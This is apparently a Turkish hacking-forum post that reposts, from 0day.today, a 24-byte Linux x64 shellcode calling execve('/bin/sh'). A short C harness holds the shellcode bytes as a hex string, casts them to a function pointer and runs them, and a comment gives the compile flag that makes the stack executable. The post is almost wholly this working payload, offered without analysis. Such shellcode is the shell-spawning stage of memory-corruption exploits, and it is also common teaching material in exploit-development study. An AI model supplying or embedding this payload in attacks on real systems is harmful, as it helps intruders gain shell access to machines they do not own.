Hoşgeldin Misafir

Linux/x64 - execve ("/bin/sh") Shellcode (24 bytes)

NasyoneL

NasyoneL

Karanlık Özgürlüktür
25 Ağu 2017
25,060 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Linux/x64 - execve ("/bin/sh") Shellcode (24 bytes)

Kod:
#Linux/x64 - Execve //bin/sh Shellcode (24 bytes)
# Usage: gcc sc.c -o sc -z execstack

#include <stdio.h>
#include <string.h>

int main(void){

        char shellcode[] = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05";
        printf("size: %d\n", strlen(shellcode));
        ((void (*)())shellcode)();
        return 0;
}

#  0day.today [2018-10-07]  #